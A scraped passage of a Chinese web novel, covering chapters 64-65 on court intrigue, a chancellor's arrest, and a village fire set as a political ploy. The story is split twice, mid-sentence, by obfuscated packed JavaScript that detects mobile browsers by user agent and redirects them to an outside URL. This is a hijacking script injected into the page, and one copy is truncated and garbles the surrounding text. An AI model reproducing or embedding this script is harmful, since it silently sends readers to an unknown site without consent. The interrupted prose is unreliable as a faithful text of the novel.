“好了，既然账本和嫌犯都有了下落，那袁墨你就带人去搜吧，李大人在事情明朗之前，恐怕要劳烦你先在李府待一段时间了，哪也不要去。” “臣恳请殿下，先将李大人看押，以免他畏罪潜逃。”眼看这事就要这样告于段落，袁墨却步步紧逼。 “哦？我自认为李大人应该没这胆量，畏罪潜逃吧？” “兄长，臣弟有一言想说。”这时周明启终于开口说话了，不少站在后面的人才发现，今日这五殿下竟然来上朝了。 “但说无妨。” “现在让李大人回去，确实不妥，李府极大，搜查起来不是一时半刻能够结束的。万一他借此机会私传消息或者损毁证据，那可就麻烦了。臣弟府上恰巧有空房间，不妨就让李大人暂住砸我那如何？” “这倒是个不错的方法，那便按明启说的去办吧。” “是！”“是！” 此时袁墨再看向李治的时候，只见他面无表情，袁墨只当李治在官场浮沉了这么多年，已经早就预料到这一天，又或者是他就笃定自己找不出蛛丝马迹来，才这么淡然。 之后李治住进了周明启的府邸，周明启倒是不亏待人，好吃好住的给李治安排上，丝毫不让他受半点亏待，只是自住进来自始至终都没有见袁梅，本以为是周明启为了金屋藏娇，却不料这时另一场阴谋已经悄然出现了。 袁墨带人将李府翻了个底朝天，这时他才知道什么是富可敌国，且不论其他李治财库里那些宝贝就足够把他那身官服脱得干干净净了。 虽然说寻找过程有些困难，但是最终他们还是在李府一间暗室里面找到了沈轻离，说是暗室，但是确实如袁墨所说的那样布置精美，里面存量充足，就算刑案司封了李府十天半个月，沈轻离在这里都不会饿死。 之后在这房间中也如期找到这段时间袁墨苦苦找寻的账本，可是找了专门算账的先生来看，这账本上就是少了两笔钱。 袁墨想到之前胡晓枭所说这账本比名单差了两个人头，恐怕说的就是这两笔。 不过好在法网恢恢，李治虽然没有因为这账本下狱，但是也被以贪赃受贿和妨碍公务的罪名，从周明启的府转到了牢狱之中。 当时一手遮天的宰相就此入狱，这消息顿时传遍了东梁的大江南北，当然这其中也少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064866|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了想要这件事闹大的人的手笔。 周明启安排了不少人暗中散播这消息，为的就是让李治的几个儿女听到之后快些赶回京都，为他们的父亲陪葬。可是不知为何，这消息和人派出去以后都像石沉大海，没有惊起一丝水花。 如今这场博弈已经进入到了白热化的阶段，而唯一的突破口成了那本真正的账本。 是夜周明启又叫来了袁墨密谈，可是刚坐下没多久，却来了一位不速之客。 “哟，五殿下和袁大人都在呀。” “徐大人？” 来人正是许久未见的徐战，自从周明启娶了袁梅之后，徐战就再也没有出现过，周明启自然也不会想主动去找他，可是如今对方又这样如入无人之地一样的出现在他们谈话现场，周明启难免有些气愤，又想起之前跟着徐战学习之时受得那些耻辱，更让他现在就想闭门谢客。 “五殿下，这段时间老夫也忙，听说你成婚了，也没能给你准备一份礼物。今日恰巧有空说过来看看你。看起来来的不是时候。” “师傅说的哪里话，来人看茶。” “哈哈哈，那就好。这段时间你对外传了不少消息，是想把他那几个儿女都叫回来？” “师傅明察。” “我觉得现在还不时候。” “为何这样说？” “如今李治的真正的罪名没有坐实，他们回来了未必是好事。特别是那个萧妖雪，这次潇湘阁壮士断腕送了你一个沈轻离，若是这位少阁主赶回来，恐怕不会这么轻易让这件事结束。” “所以我放出去的消息，都是师傅拦下的？” “殿下这是在怪我？” 看着周明启现在已经面带愠色，徐战却觉得甚是不解。 “师傅，此事你就不要再插手了。” “看来你是有了新谋士看不上为师了。” 说着徐战还有所指看了一眼一旁一直一言不发的袁墨。 “师傅这么做自然有师傅的道理，但是我只是觉得有些事我可以自己尝试一下了。” “唉，好吧，既然殿下愿意试，那为师也不便多说了。最近南疆也蠢蠢欲动，过几日为师要启程去那边了，那便提前预祝殿下心想事成。” 说完就起身离开，临走了最后一眼却留给了袁墨，袁墨也恰巧抬头与他对视，二人目光相碰，徐战留下一句话。 “要是当年他也有你这么狠，想必就不是这个结局了。” 等房中二人在回过神来，看着刚刚徐战面前的那杯茶，还冒着热气，一口都没喝。 从屏风后面走出了窦毒，牙关咬的死死的，对着周明启跪下说道：“殿下，如今圣人的药已经足够，还望殿下允许我，前往南疆。毒谷的仇我还是要自己报。” 周明启则是不慌不忙的喝了一口茶，然后才慢悠悠的说道：“好，确实是时候了。” 徐战离开了周明启的府邸，一个人走在大街上，脑中与袁清的记忆却开始走马灯一样转了起来。 当年他们两个都还是两个名不见经传的毛头小子的时候，是当时的德王周钦德将他们带在身边，这一路相互扶持，最终周钦德继承了地位，他也是一个战功累累的大将军，只有袁清彻底隐入黑暗。 如今袁清走得早，圣人也病重了，只剩下他一个人，果然像圣人的说的，人上了年纪就会怀念过去的那些事。 好在如今总算是有了机会让袁清这臭了十多年的名声能够好转，虽然已经失去了对周明启的控制，但是至少在让李治身败名裂这件事上，他们是一致，若是自己这徒儿办的不干净，他愿意再给他擦一次屁股。 周钦德小记： 周钦德作为分封王，虽然是入狱，但是王爷该有的待遇是一点都没有少，甚至连袁清也跟着享了一把清福。 因为袁清会武所以刚关进来的时候就被喂了药，现在全身无力，现在整日赖在周钦德这里享受他的待遇。 如今二人已经被关进来三天了，将军阁却还是没有一丝动静，袁清难免有些着急了。 “殿下，你说他们该不会是想这样关我们一辈子吧？殿下，你说他们到底是怎么找到我们的？殿下，你说徐战他们会被找到吗？殿下……” “你的问题有些多了。”周钦德被他问得有些不耐烦，但是不过他这个问题终有一个也是周钦德这几日整日都在思考的。 他们的藏身之处到底是怎么暴露的？ 现在他只有一种合理的解释。 “袁清，你说这会不会是云雁安排的？” “哈？殿下你的意思是说，萧姑娘把我们的藏身之处告诉了将军阁，然后把我们抓起来，这是她的计划？这什么狗屁计划。” “是呀，为什么这样做？” “我猜是将军阁有新的想法了，恐怕之前我们的打算潜入皇城的计划行不通了。” “但是我们现在是阶下囚，更见不到圣人了。” “唉，袁清你饿了吗？要不要叫点点心？” “殿下，你又饿了？你别到时候出去了还胖了，这地牢的风评可就有说法了。” “吃不吃？” “……吃。” 64. 莲座业火 此时莲座镇的王宅中，安排给色号给那女的房间中一场风雨中终于是过去了，萧妖雪躺在周明理怀中，整个人还是懒懒的，如果不是考虑到他们能说话的时间不多了，她连话都不想说。 “玉令在你那是吗？”虽然是开口了，但是萧妖雪的声音听起来也是软软，这虽然说的是公事，但是难免让周明理心中又是一阵波澜。 不过好在周明理不是那种时常出入烟花之地，没有一点控制力的人，听了萧妖雪这话，他翻身到刚刚脱下的衣服里翻找了一番，最后从一件贴身软甲中翻出了一个小布袋子。 递到了萧妖雪面前，却半天不见人接。 “喏，拿着呀。” “不要，累，你打开给我看看。” 看着萧妖雪这样子，周明理也不好意思拒绝，毕竟现在这情况完全是他造成的。 将玉令从小布袋子里拿了出来，又在萧妖雪面前展示了一番。萧妖雪现在也明白为什么莲座镇放在外面那块一定是假的了额。 虽然那玉的质地放在寻常市井也是难得一见的好东西，但是和眼前这块比起来，那可就差得太远了。眼前这玉整块通透，通体翠绿，却不会让人觉得色泽艳丽，而是一股温润的感觉的扑面而来。玉令上的那八个字笔锋也比那假玉更加犀利，背面的龙凤图案也更加的活灵活现。 “这玩意怎么看都是出自名师之手，看这玉的质地，也不可能是天上掉下来的，不然早摔得粉碎了。” “不错，但不管这玉是从何而来，现在放我这儿已经不安全了，他们现在知道这玉不在你手上，不如就留在你这儿吧。” “你说得倒有些道理，但是今天那人让我非常担心，恐怕我这身份也撑不了多久了。” “今天的人不是奔着这玉令而来。”周明理想到了之前在狱中见到的李无忧和马得源两人。 “不是这玉令，那是为了什么？”萧妖雪有些想不通，分明进入那祠堂之后，那人就是想带走这玉令。 “他的目的是为了暴露，我也在祠堂”周明理此时已经非常确定，不然他们人必然不会为了一个假玉令，在那斗个死去活来。 “为了你？你不是已经扮成了香火客，难道这里还有人知道你的身份？” “那人是严忌。” 其实在周明理说那人是为了他才来抢夺玉令的时候，萧妖雪已经有所猜测，再加上那人的武功的着实不错，萧妖雪心中已经有了合适的人选了。 只是没想到周明理这躲桌子下的人还能认出对方来。 “你怎么知道的？”显然萧妖雪左思右想还是没有想到一合适的解释，索性就直接问出了口。 “是李无忧和马得源告诉我的。” “哈？你什么时候见过他们？他们又怎么知道？” “我刚刚不是都和你说过了吗？你这就没有专心听。” “什么时候？”这个问题萧妖雪才问出口，她就后悔了，因为她看到了周明理脸上已经浮现出玩味的笑容。 “就是你第二次的时候，那时候你还回我了呢，我记得你还让我……” “诶呀，够了，那个时候谁能记得呀。时间不多了，你可别犯浑了。” “哈哈哈，好吧，那看来我只能重新说一遍了，我还以为那个时候你会印象深一点。啊！你别掐我呀！” 周明理正说着，大腿上就被结结实实的拧了一把，毫无防备的痛传遍了周身。 “快说！” “好好好，我说我说。你下手太重了，这恐怕是要青了，到时候我要怎么解释呀。”周明理只是一脸浑样，急的萧妖雪都要坐起了，可是坐到一半又被腰腹的酸痛感给拉住了，最后还是无力躺回去。 “你要给谁解释，你再不说我让你另一边也青了，正好你可以说你去拔火罐了。” “别别别，其实事情很简单，就是我被他们关进去的时候，发现李无忧和马得源也在那。简单问了两句，才知道是武清老祖派他们来的，他们也在查玉令。眼见已经查到了祠堂，却被严忌突然出手，双方争夺玉令，最后二人不敌，就被莲座镇的人给绑了。” “又是严忌？” 周明理说的简单，萧妖雪也很快就注意到这其中的问题，这严忌出现在莲座镇的频率也太高了，而且他作为路行的徒弟，对付李无忧和马得源应该是绰绰有余，确实像周明理说的，他应该是故意将二人留给莲座镇的人处置的。 “所以我藏身的供桌被踩碎，也不是什么预料之外的事情了。” “他这样做是要把事情闹大？” “我猜也是，我怀疑我的身份很快就会曝光了，估计他们会安排今晚有人送信来。皇子暗访这件事情，很快就会惊动天下了。” “既然玉令已经到手了，我们就走吧，以无忧和马家小公子的身手，几个村民要脱身应该不是难事，而且现在他们也还没有怀疑懂啊我们之间的关系，一切还容易些。” “不可。”听到周明的拒绝，萧妖雪很是惊讶，毕竟他们的目的就是玉令，周明理现在不走是还有什么打算吗？ “为何？” “我们走了，玉令就算是假的也会变成真的了，你可知道这玉令是暗指谁的吗？” “周明启？” “不错，以我对老五的了解，我怀疑这就是他要的效果，这样的话他就可以以什么奉天行事，继续他的计划了。” “所以我们要赶快带着玉令走呀。” “那莲座镇这些已经知道这件事情的人怎么办？” “他们不过区区数人，还都是些平头老百姓，掀不起什么风浪。你想做什么？” 萧妖雪看着周明理的眼神突然变了，她好像知道了周明理在想什么，也不顾身上的不适，直接坐了起来，面上表情凝重，刚刚最后一丝红晕已经彻底消失了。 “妖雪，你选择了二哥，这确实是东梁的最好的选择，我们现在并不是在调查一桩民间异象，我们正身处一场政治斗争，这样的斗争难免是要流血的。你也不必替他们感到惋惜，他们这些比你想的更加不堪。” “绝对不行，这件事一定有更好的解决方法。” “而且我们只有今晚了，明日他们就要祭山了。” “祭山？”显然萧妖雪也没听过这个说法。 “就是杀了我、李无忧和马得源告慰山神。” “他们可是信佛的？” “那又如何，所以我说只有今晚，而且不出意外的严忌应该会在附近，如果我们要跑，他必然出手。若是我们走了，你弟弟他们有什么办法能活？” 显然这是萧妖雪预料之外的，可是周明理那个想法也太荒谬了。 周明理见萧妖雪不回话，但是态度显然已经软下去，便乘热打铁说道。 “我知道你不愿意接受这件事情，但是这次我来做这个恶人，而你还是做圣女。” “那……我该怎么做？” “晚上我要你以圣女的名义将村子里的所有人集中到村口，届时我会在村子里放一把火，你借此机会李无忧和马得源就可以逃出来了，你的控火术了得，到时候当着他们的面救这莲座镇一命，以后什么流言蜚语都难以攻破他们对你信仰了。” “好吧……” 总算是把萧妖雪给说服，周明理松了一口气。可就在这时房门被人敲响，外面的人正是前几天招待周明理的王大姐，正贴着门缝喊道：“圣女呀，你可还好呀，他招了吗？” 突如其来的外人，把两个衣冠不整躺在床上谋划大事的人吓得不轻，萧妖雪稳了稳心神才开口回道：“快了，你在门口候着，我一会叫你，你就进来把人带回去。” “是！” 说罢二人急忙起床更衣，终于是又打扮的人模狗样了，才把王大姐叫了进来，又把周明理押了回去，但是这次却没有顺利的将周明理送回地牢，而是走在半路，他们整个莲座镇的马都像发疯了一样来围攻他们。 周明理趁着混乱，解开了刚刚萧妖雪松松绑在他手上的绳索，飞身上了他的那匹马，向着村口疾驰而去。 与此同时在东佛寺里正在午睡的孙放，突然被一阵急促的敲门声唤醒。 睡眼稀松开了门，却看到了来人竟然是老住持。 “三殿下离开莲座镇了，你快去接他。” 听到这话，孙放开口就是：“主持，你是不是迷糊了，我才是三殿下。” 这几日他在东佛寺都是扮演周明理，现在已经入戏颇深，就算是这样迷迷糊糊的时候，他也下意识肯定自己的身份。 “你看我是在和你开玩笑吗？” 听到这话，孙放突然清醒了。孙放心想，果然是千年的王八万年的精，这老家伙恐怕一开始就知道。 既然知道了，他现在也顾不上了，回身从房中捞出剑就直奔莲座镇而去，果然遇到了疾驰而来的周明理。 “殿下！您没事吧？” 孙放看到自家殿下，赶忙上前检查。周明理却完全没有给他说话的机会，拉着他就往树林里窜。 “殿下？这是干嘛？” “严忌追过来了，你要拖住他，我来拖住他，你去莲座镇放火，然后记得找找他们的有个地牢，把里面的人救出来，快去。” “殿下！” 可还不等孙放说一句完整的话，他的马就被周明理狠狠抽了一鞭向着树林里就窜了出去。与此同时周明理身后的严忌也跟了上来。 好在周明理马术了得，在这树林穿梭也毫无困难，刚好把严忌不远不近的遛在身后。 孙放潜入莲座镇的时候，整个莲座镇的人都已经聚集在村口，他按照周明理的吩咐将村中撒满了火油，也找到被关押的李无忧和马得源。 而正当几人打算离开的时候，被一个官袍破烂的人拦下了。 “各位这是要干嘛？” “你是何人？”孙放将两个刚刚救出来的小子挡在身后，他看得出来这人没有武功，但是不知道会要搞出什么幺蛾子。 “在下莲座镇镇长郑陆成。这些火油是你们泼的？” “不错是又如何？” 孙放听到是官家人也松了一口气。 “阁下还请三思呀。”显然郑陆成除了劝他们不要点火，也没有什么别的办法。 “这村里人大部分都在村口听圣女讲经，就算是烧了也不过是几栋房屋罢了，不妨事的。” “你们！” 可是这次孙放久没有再留给他说话的机会，怀中掏出了火折子，然后打开，点燃，往地上一扔一套动作行云流水。 顿时火焰沿着他们脚下开始向整个村子蔓延，孙放看到郑陆成露出了震惊的神色，然后就向着村子里跑，挨家挨户敲门，将一些在家躲懒的人都叫了出来，趁着火势蔓延过来之前，将他们赶到村口。 天色渐渐暗下来，莲座镇的人与萧妖雪已经大眼瞪小眼好半天，却不见萧妖雪说什么，难免有些急躁了，人群中开始有人悄悄溜出去躲懒。 突然身后一阵光亮传来，在场的所有人都是齐齐回头，便看到火蛇在村中蔓延，而一群人正在跌跌撞撞的跑过来。 “我的房子！” 反应过来大火即将吞噬村庄的时候，就开始有人向着村子里跑，最终却被最后赶过来的郑陆成，凭借一己之力全部拦回去。 “你拦我们做什么？我的房子烧没了，你赔吗？你这个脏东西。” 有人开了这头，就有更多的人开始对郑陆成连骂带打的。 “里面火太大了，你们进不去，不要命了。”郑陆成虽然是双拳难敌这么多人，但是还是没有放弃劝诫村民。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075428|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你这狗官，你懂什么？你除了一天会拿我们的香火钱你还会干什么？” “这火就是因为他不信佛，这上天降下的神罚。” 人群里的人说得越来越难听，而郑陆成也从一开始会回两句嘴，变得一言不发了。 萧妖雪在一旁看着这火烧的差不多，终于是开口了。 “诸位，今日我卜卦算到莲坐镇将要遭此一劫，所以我提前将各位叫到了此地，就是为了给各位避灾的。现在火蛇吞莲座，已经莲座镇已经浴火得新生，我现在就降服这火蛇，把你们的家园还给你们。” 闹哄哄的人群听到这话显然是安静了下来，目光又回到了萧妖雪身上，萧妖雪也有模有样结了几个手印然后口中念念有词，只见之前还肆意妄为的火焰突然开始扭曲，真的像是一条巨蟒收到控制，之前超过房屋的火焰也被压了下来，匍匐在地上到处流窜。 人群中见到这一幕不禁有人大声叫好，而只有一人看着欢呼的人群面色越来越难看。 这样的控火对于萧妖雪这样修为的人来说已经不是难事，所以她倒是不介意再给这些无知的村面的表演一番。 气息再度催动，原本已经卧倒在地面的火蛇突然像是真的在与萧妖雪博弈一般，竟然聚做了一团，立起身子足足有几十丈之高，居高临下看着众人。 原本还在欢呼的众人，被眼前这景象吓坏了，人群中少不了孩童，此时已经是发出了尖锐的哭声。 众人再看向萧妖雪时，也见到她眉头紧锁，似乎真的用了很大力气在与这火蛇搏斗。 紧接着萧妖雪又换了几个手势，原本盘踞在地面的火蛇就这样升空了，之前高昂的头颅也被压制下去，变成一个火球，里面火焰流转。 “破！” 萧妖雪大喝一声本来打算这场闹剧就此收尾，却不了身旁突然一个大力将自己推开了，注意力一分散，天上的火球难免就开始下落。 萧妖雪急忙唤回精力，却余光瞟到一把尖刀正向她捅来，出于本能反应，萧妖雪分了一些精力去控制流彩剑，去不了那刀却并没有想区她性命，而是转而狠狠划上了她的手臂，疼痛席卷全身，而火球也就在这时，砸落在人群中。 整个莲座镇的人无一幸免，只有萧妖雪和刚刚拿刀刺伤她的郑陆成，站在一旁并没有被波及。 周钦德小记： 周钦德和袁清在牢里面没日没夜的待了不知道多少日子，这一日终于来了一行人，这些人不适往日将军阁派来探监的人，而是刑案司的人。他们将周钦德和袁清带上了马车，马车一路穿街过巷，最后驶入皇城。 “殿下，这车进宫了，到底是要带我们去哪？” “现在这个时间应该是早朝吧。” 其实被说袁清了，就连周钦德心里都没有底。这难道真是要在金殿上发落他们吗？太子现在的立场是什么？萧云雁到底有没有反水？徐战他们还在干什么？ 可是马车跑得快，并没有留给周钦德多少思考的时间就停了下来，一下车，果然是早朝会。 周钦德自从做了分封王，就再也没有上过早朝了，完全没有想到，这次会以这样的形式上朝面圣。不过听说现在都是太子监国，恐怕也没机会面圣了。 早朝会开始，果然就是一群人，针对他这个分封王不安分守己待在自己的封地的控告，这对于周钦德来说倒是不痛不痒，毕竟当圣人给了他分封王的名号，却没有要求必须要在封地待着。 当然这个道理太子也明白，就这样看着群疯狗狂吠半柱香的时间，这朝堂才安静下来。 周钦德知道现在才是重头戏开场，果然之前一直一言不发的单骁上前一步说道：“臣一切，刚刚各位同僚所都不是德王殿下的问题所在。” “哦？那单将军以为呢？”太子周钦铭，自然不但怠慢这位大将军，更何况好戏就要开场了，他那位好弟弟还不知道自己要面对什么吧。 “臣之前与胡笳城以为豪杰结识，此人正是胡笳城前任城主的大儿子胡铭。胡铭告诉臣，前几日他惨遭灭门，而动手的人正是德王殿下的手下，当时不少人在场也看到德王殿下露面。” “单将军，你作为东梁老臣，你可知道污蔑皇亲可是株连九族的重罪！”周钦铭此时的王之气显露无疑，殿中重臣无不瑟瑟发抖。 “臣自然知道，臣也希望是奸佞小人为了混淆视听而为，所以今日特意请了德王殿下来当朝对簿。” 周钦德看着单骁这副模样，若不是自己知道内幕都要相信他的话。 “好呀，那单将军不妨就说说，本王到底是如何插手胡笳城的事情。”既然这群人要演，周钦德就打算陪他们演。 “请殿下传段天行。”单骁对着周钦铭说道。 “准！” 不一会他们就看到几个人架着一个面色惨白，四肢无力的人上来了，此人正是之前他们在胡笳城遇到的段天行，但是他现在可真是像个被吸干了精气的鬼一样。 架着他的人才一松手，段天行就一滩的瘫在地上。 “这是怎么回事？”周钦铭看着没有本分人样段天说道，语气中全是嫌弃。 “回殿下，此人之前在胡笳城的时候，被德王殿下的手下伤及要害，是将军阁找遍京都名医才吊住了他的一口气。” “那你说说吧。”周钦铭对于段天行的语气还是充满了嫌弃。 “草民在胡笳城看到……德王殿下杀了胡笳城城主胡令，本想出手阻止，却被他的手下重伤。” 这话没说几句，段天行就像要断气了一样，周钦铭看不下去，挥了挥手示意将人拖下去。 “德王这事你怎么说？” “不错胡笳城城主胡令确实死了，但是不是本王杀的，既然单将军与胡铭相识，不妨就请他出来说几句公道话吧。” 65. 莲座业火2 或许是有人从村中出来的时候身上沾了火油，又或许是人群中大家站的太过紧密，原本已经被萧妖雪压制的火焰，在落入人群的时候又迅速的窜了开来。 顿时哀嚎声，求救声回荡在莲座镇的上空，莲座镇最终从一座佛门小镇，变成了人间炼狱。 萧妖雪也不是没有想过出手，但是人实在太密集，这火焰到处都是，可不同于之前平铺在村子中的火蛇那般便于压制。 而莲座镇又因为之前已经烧了不少时候，空气中水分也不足聚集成雨，浇灭火焰。 一时之间，萧妖雪就只能眼睁睁看着这群人在火中逐渐失去生机，火焰炙烤着空气，他们的面庞开始扭曲，也有边缘的人想往外跑，但是人性就是这样丑陋，后面的就算已经全身烈焰，也还是要不惜一切代价，把那原本还有一线生机的人拉回地狱，一同陪葬。 “你为什么要这么做？” 或许是眼前的炼狱太过于惊心动魄了，就算是萧妖雪这样的人看了都难免心中一颤，她转头对着郑陆成怒吼道。与此同时之前悬在周身的流彩剑也直逼郑陆成的喉咙。 可是她的愤怒却宛若落在一朵棉花，郑陆成一脸坦然的看着她，丝毫不顾及那随时可以取了自己性命的流彩剑。 “三殿下和萧小姐仁慈，只是想对这些人敲打敲打。那是因为你们不过是见过几面的过客，但是我不一样，我与他们日日相见，这些人的丑陋嘴脸，我早就看透了。就他们也配在这莲座之上说三道四。萧小姐说你是奉了佛祖之命来的，其实你也只是希望拿回玉令。但是我不一样，我这是替天行道，他们这样的蛀虫就不该存在于世上。” 看着郑陆成越说越激动，萧妖雪下意识的将流彩剑离远了一些，她真担心郑陆成一个想不开就冲上来自刎了。 “可是他们也罪不至死。” “但是他们活着还有什么用？地里庄稼从不照看，枯了死了就只会向菩萨许愿。莲座镇终究是东梁的城池，是要上税的，我怎么能眼睁睁的看着他们就这样饿死，我只有替他们种地，浇水。家里的人生病了，从来没有谁自掏腰包看过大夫，都是我大半夜跑到隔壁县给他们问诊，再花我自己的给他们把药方买回来。到头来他们只觉得这是佛祖的垂怜。” 此时郑陆成已经泪流满面，仿佛是这么多年的委屈心酸终于有机会一口气说出来了。这气还没有喘匀，他就急忙接着说道，好似担心说慢半句就会被萧妖雪插嘴。 “当年我父亲就是这样被他们这群蛀虫逼死的，可是父亲死前还是不放心他们，竟然让我回来接手他的烂摊子。当时我还以为这是个什么好活计，父亲能一干干一辈子。哪想到这就是脏了臭了的橡皮糖，粘在手就永远都甩掉。今天这场火就是送他们去见他们心心念念的佛祖，到时候他们的佛祖到底是谁。” 说话间身后的火势已经小了，但是也完全失去了生机，萧妖雪无奈地叹了一口气，没想到当时周明理的那个想法还是成真了。 “你早就预谋好了？”萧妖雪知道现在再去追究，到底他为什么这么做，这些年他到底受了多少委屈，已经于事无补了。 “这怎么可能，若不是我今日在村中遇到那位泼油劫狱的好汉，我还真没想到这么好的办法。” “你又是何时知道我们的身份的？” “萧小姐，当时你才入京都那可是风云骤起呀，我虽然身在这破地方，但是我耳聪目明，想要知道你的事情不是什么难事。” “那你……”萧妖雪本还想追问，却听到一旁丛林里传来了马蹄声，转头看去，来人正是周明理。 火光照亮了他的面庞，萧妖雪清晰的看见他的脸上没有一丝预料之外的惊讶，现在她什么都不想问了。 “妖雪，你没事吧，你受伤了？” “放开！” 萧妖雪看着上前关心他的周明理，心中百感交集，本以为他身在胡笳不理朝中政事，想必还是应当保留一份纯真，而且她们刚刚明明已经说好了，终究还是抵不过帝王家的冷血呀。 “别动，你的伤口还在渗血，我帮你包扎。” 周明理看着萧妖雪被划伤的手臂，受伤的劲一点不松，无论萧妖雪怎么甩他都不放手。 “啪！” 一个响亮的巴掌落到了周明理的脸上，双方的动作都蹲了一下，周明理的目光也终于从她手上的伤口转到了她脸上，四目相对，他看到萧妖雪眼中有泪水闪动，这双美目中包含了太多，有愤怒有委屈，还有失望。 “不用你管，放开。”这次萧妖雪不再是怒斥，反而声音变得冰冰凉凉的，就连旁边有那炙热的火焰都还让周明理感觉一阵寒意遍及周身。 这次周明理没有再执着，而是放开萧妖雪，萧妖雪却头也不回的就离开了，这时孙放也带着李无忧赶了过来。 看着这眼前的情形，几人都是没有什么头绪。 “无忧，你去跟着她些，我担心她出意外。” 李无忧虽然也不知道这是发生了什么，但是看着旁边被烧得面目全非的村民，还有手持利刃的郑陆成，他大概也能猜出点什么。而且刚刚雪姐姐与自己擦肩而过的时候，甚至都没有抬头看自己一眼，他也有些担心，也不便不与周明理多费口舌，快步追着萧妖雪而去。 “马家那小公子呢？”周明理看到和孙放一起过来的只有李无忧一人，还担心他们是不是也遇上什么麻烦了。 “他去附近城镇报信了。殿下，严忌没有对你怎么样吧？” “云阁不是当年那薄凉宗，严忌也不是段天行，那么没脑子。我毕竟是皇子，他不敢怎么样。孙放你就按照我们之前计划的，带着郑大人去吧。” “那萧小姐那边？” “那边我会处理，你带着我的手信先回京都吧，她现在不回去也好。” “是！” 安排好一切，已经到了后半夜，整个莲座镇现在只剩下被烧焦的村子被烧焦的人和周明理一个活人了。 李无忧也是一路跟着萧妖雪往前走，萧妖雪不说话，李无忧也不敢说话，二人就这样闷着头走了好远，终于空气从焦炭味，变成了树林中的清新的草木香，而现在又多了一缕香火的味道。 他们快走了一夜终于是到了东佛寺，此时二人都已经疲惫不堪，李无忧本想让萧妖雪坐下喝口水，却才刚刚上前，萧妖雪的眼神突然凌厉了起来，李无忧也感受到身后有人快速逼近，而且此人的气息很强，也很熟悉是严忌！ 李无忧自认自己的反应已经很快，可是当他要回身的时候，萧妖雪已经和他错身而过拦在了他面前。 流彩剑毫无保留全部释放出来盘旋在周身，果然下一秒从黑暗的树林中就窜出一道白光，直逼萧妖雪面门而来。 之前周明理说的没错，严忌不是没脑子，杀皇子，这罪就算是云阁出面也保不住他，但是若只是杀一个已经入狱的宰相的女儿，这显然不是什么大问题。说不好到时候阴差阳错还可以立个功。 那道白光划破黑暗冲到了萧妖雪面前，可是这一击并没有血光迸溅，而是一声清脆的“叮当”声，流彩剑挡下了这一击，但是也迸发出巨大气息波动，萧妖雪今日已经心力憔悴，直接被逼退数步。 严忌也趁胜追击，又是几声金属碰撞的声音，萧妖雪很快就落入了下风。 李无忧也在一旁看不下去了，这是生死局，他遇上那么多江湖道义，提气出掌和萧妖雪一同夹击严忌。 李无忧一出手，萧妖雪的压力就小了不少了，有了一口喘息的机会，萧妖雪急忙调整内息，刚刚严忌出手又急又狠，若不是有李无忧在，今晚这一战鹿死谁手还真不一定。 严忌在与李无忧过了几招招以后也是心中大惊，那一日在莲座镇与马得源过了几招，他便觉得这武清的弟子确实不错，今天与这李无忧过招，他对于他们的印象已经从不错变成厉害，这年纪能有这身手，已经实属天资卓绝，更别说这李无忧还比马得源多了几番计谋。 他们二人交手的时候，严忌差点被李无忧几个叫动作给糊弄过去。而李无忧也是借着脑袋转的快，竟然和严忌打了个平分秋色。 萧妖雪看着这打得不相上下的两人，逐渐明白，恐怕今晚严忌不死，他们谁都别想走。 李无忧又一次偷袭被严忌攻破，这次严忌已经早有准备，直接一脚把李无忧给踢飞了，之前平分秋色的局面终于告于段落。 而就在严忌想要继续攻向刚刚站在一边的萧妖雪的时候，却发现在看过去的时候，那里已经空无一人了，心中大喊不妙，刚刚李无忧那一招是在这等着他呢。 果然身后传来凌厉的破风声，流彩剑碎片凝聚成长剑向着严忌刺来，严忌回身格挡却挡了一个空，只能眼看着已经到了眼前的流彩剑碎成万千碎片，绕过他横在身前的长剑从他身上的要害刺入。 萧妖雪今夜又第二次看见了生机从眼中流逝的场景，严忌到了最后倒在地上都没想到，今晚交代在这的人是他。 李无忧捂着刚刚被严忌踹痛的肚子走了过来，刚想和萧妖雪说几句话，却见萧妖雪两眼一翻就这样晕过去了。 这时候李无忧也顾不上腹痛了，一把捞起即将摔倒地上的萧妖雪，将人就往不远处的东佛寺抗可是刚刚没走去几步，就看到不远处的路上摇摇晃晃的灯火。 这时李无忧不敢贸然上前，拖着萧妖雪就跳进了一旁的树林中屏气凝神，看着那个缓缓靠近的火光。 终于火光到了面前，李无忧看到了那被火光照的发亮的脑袋听到了马得源那骂骂咧咧的声音，这才松了一口气。 “小施主你确定是这边吗？我们都走了这么远，也没有看到什么人呀？” “我可是练武之人，这能错吗？” “既然小施主是练武之人，又何必叫上我们呢？” “那那那，那是因为这林子太黑了，我们人多点亮一点。” 马得源说这话的时候别说这几个和尚怀疑，就连他自己都怀疑了。 “那是因你怕这树林里有鬼怪呀。” 马得源正心虚着，突然身后就传来这样一句阴森森的话语，吓得他都跳了起来，那几个和尚显然也是被吓了一跳，众人急忙把火把对着声音传来的草丛。 “你你你，谁呀？”此时马得源说话都有些不利索了。 “我是你爹呀，快来帮爹爹一把。” 终于这句话马得源听出了李无忧的声音，也不顾他还在开这伦理的玩笑，将火把递给一旁的和尚，就跳进了草丛中，看到了面色苍白的李无忧和昏迷不醒的萧妖雪，马得源的脸上顿时浮上了惊恐。 “放心，都活着呢。”李无忧怎么说也是与马得源朝夕相处了一年多了，他现在心里在想什么李无忧闭着眼睛都能猜到。 果然听到这话马得源松了 